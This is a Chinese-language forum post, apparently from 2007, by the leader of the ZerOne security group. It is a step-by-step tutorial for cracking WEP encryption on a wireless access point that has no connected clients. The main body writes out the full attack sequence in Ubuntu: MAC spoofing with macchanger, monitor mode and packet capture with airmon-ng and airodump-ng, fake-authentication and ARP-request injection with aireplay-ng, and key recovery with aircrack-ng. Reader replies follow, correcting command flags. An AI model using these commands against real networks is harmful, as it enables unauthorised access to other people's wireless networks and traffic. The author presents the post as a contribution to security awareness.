[原创]Ubuntu下无客户端WEP加密破解实战
Ubuntu下无客户端无线WEP加密破解实战讲解文/图作者:ChristopherYang/杨哲[ZerOne]
写在前面的话:
之前已讲述了关于AP采用WEP64/128位加密的破解,这里继续深入阐述在AP无客户端活动的情况下WEP加密的破解。不过为扩展大家思路及抛砖引玉,这里不再使用BackTrack2,而是使用另外一款也很受欢迎的操作系统Ubuntu作为破解平台。
哈哈,不用担心,基础命令很相似的。
无客户端下,无线接入点WEP加密破解步骤:
注:由于某些原因,我隐去了部分MAC地址,希望各位理解。
在图形界面中,打开一个Shell,如下图,输入ifconfig-a
察看当前网卡
这里我就使用USB网卡为例,可以看到有一个名为rausb0的网卡,状态是未载入,这里先不要载入,先将MAC地址修改成需伪造的任意MAC地址,
输入macchanger –m 00:11:22:33:44:55 rausb0
-m后跟要伪造的MAC,之后再跟要修改的网卡名即可,这里我们将该USB网卡MAC修改成00:11:22:33:44:55,如下图
然后再载入网卡,输入:
ifconfig-arausb0up来载入USB网卡驱动,见下图1:
下来,我们可以使用如Kismet、Airosnort等工具来扫描当前无线网络的AP,
然后,我们需要将网卡激活成monitor模式,才可以进行后续的破解,命令如下:
airmon-ng startrausb0 3,这里这个3就是我们发现的AP的频道,然后输入下列命令开始抓包
airodump-ng-wtest.cap--channel3
rausb0 ,这里test.cap就是我设置的抓包文件名,回车后如下图:
下来,就可以进行FakeAuth攻击,这种攻击就是专门在预攻击无线接入点AP没有客户端活动甚至不存在Client的情况下使用的。具体命令如下:
aireplay-ng -1 1 -e AP’s ESSID -a AP’s MAC -h FakeMAC rausb0
这里-1指的就是采用FakeAuth攻击模式,后面跟延迟;-e后面跟AP的ESSID,-a后面设置AP的MAC,-h后面则是前面伪造的MAC,最后是无线网卡。过程如下图所示:
下图为FakeAuth攻击中:
与此同时,为了IVs(初始化向量)的获取,必须进行ArpRequest注入式攻击,这个很重要,可以有效提高抓包数量及破解速度,命令如下
aireplay-ng-3-b AP's MAC -hClient's MAC -x1024rausb0
解释一下:-3指的是采取ArpRequest注入攻击方式,-b后面跟上要入侵的AP的MAC地址,-h后面跟的是监测到的客户端MAC地址,这里我们使用刚才伪造的客户端MAC,如上图中显示的,至于-x 1024指的是定义每秒发送数据包数量,这个值可以小一些,但最高1024就可以了,这里我使用默认,最后是指定USB无线网卡,如下图5:
可以看到,ARPrequest注入攻击非常有效,可结合上图airodump的内容一起察看,会发现数据包的数量递增加快。
接下来,就可以同步开启aircrack-ng来进行同步破解了,命令如下:
aircrack-ng-x-f2 test-01.cap这里-x是暴力破解模式,-f指的是启用密码复杂度为2 ,后面是我们即时保存的那个抓包文件,回车后就可看到下图了:
下来就不用多说了吧。此为No client WEP Crack的简洁方法,其实就效果而言,和之前haohamaru发的方法各有利弊,个人认为,如果本帖方法失败了话,可以尝试前者,毕竟构造包才是真正完整的路子。
最后: 我是ZerOne安全小组组长 ChristopherYang,本文原稿为BackTrack2下无客户端破解WEP加密,写于2007年7月,原为ZerOne内部交流资料中WEP加密破解的补充,10月份时抽空写出此Ubuntu下无客户端破解WEP一文,此次发出为提高整体安全水平和参加AnyWlan原创奖励计划活动之意,希望此文可加深大家体会无线安全领域发展形势,如文中有不明或表述有误的地方,恭请指正。
真的假的,骗人吧? <p>顶下,又是篇好的实战文章</p> 前排支持,虚拟机不知可不可以呢 本文即在VMware Workstion5.5.3下完成。 <strong>楼主辛苦了,操作系统<font color="#ff6600">Ubuntu的ISO文件哪里下载,我也准备在虚拟机上试一下了。</font></strong> <p>楼上的摆渡一下,谷歌一下,能搞定的:)</p><p>longas老大一出手,就知有没有啊,呵呵</p> bt下应该也没有问题吧,是不是也要把aircrack-ng升级到<strong>AirCrack-ng <chsdate isrocdate="False" islunardate="False" day="30" month="12" year="1899" wst="on"></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate>0.9.1<chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate><chsdate></chsdate>r784</strong>呢,bt自带的0.7也可以是么? <p><span lang="PT-BR" style="FONT-FAMILY: Arial; mso-ansi-language: PT-BR;"><font size="3"><strong>Airepalay-ng<span style="mso-spacerun: yes;"> </span>-1 1 <span style="mso-spacerun: yes;"> </span>-e AP’s ESSID <span style="mso-spacerun: yes;"> </span>-a AP’s MAC <span style="mso-spacerun: yes;"> </span>-a <span style="mso-spacerun: yes;"> </span>FakeMAC <span style="mso-spacerun: yes;"> </span>rausb</strong></font></span></p><p><span lang="PT-BR" style="FONT-FAMILY: Arial; mso-ansi-language: PT-BR;"><strong>应该是<span lang="PT-BR" style="FONT-FAMILY: Arial; mso-ansi-language: PT-BR;"><font size="3">Airepalay-ng<span style="mso-spacerun: yes;"> </span>-1 1 <span style="mso-spacerun: yes;"> </span>-e AP’s ESSID <span style="mso-spacerun: yes;"> </span>-a AP’s MAC <span style="mso-spacerun: yes;"> </span>-a <span style="mso-spacerun: yes;"> </span>FakeMAC <span style="mso-spacerun: yes;"> </span>rausb0吧</font></span></strong></span></p> 晕,已更正,谢谢指出。 <p><span lang="PT-BR" style="FONT-FAMILY: Arial; mso-ansi-language: PT-BR;"><font size="3"><strong>Airepalay-ng<span style="mso-spacerun: yes;"> </span>-1 1 <span style="mso-spacerun: yes;"> </span>-e AP’s ESSID <span style="mso-spacerun: yes;"> </span>-a AP’s MAC <span style="mso-spacerun: yes;"> </span>-a <span style="mso-spacerun: yes;"> </span>FakeMAC <span style="mso-spacerun: yes;"> </span>rausb0 </strong></font></span></p><p><span lang="PT-BR" style="FONT-FAMILY: Arial; mso-ansi-language: PT-BR;"><strong>是不是要改为<span lang="PT-BR" style="FONT-FAMILY: Arial; mso-ansi-language: PT-BR;"><font size="3">Airepalay-ng<span style="mso-spacerun: yes;"> </span>-1 1 <span style="mso-spacerun: yes;"> </span>-e AP’s ESSID <span style="mso-spacerun: yes;"> </span>-a AP’s MAC <span style="mso-spacerun: yes;"> </span>-h <span style="mso-spacerun: yes;"> </span>Fake'MAC <span style="mso-spacerun: yes;"> </span>rausb0 </font></span></strong></span></p> <p>难道我已经老了么?开始昏花了.......已更正,谢谢。</p> 为什么Aireplay-ng的A是大写?Ubuntu跟BT2有这点不同?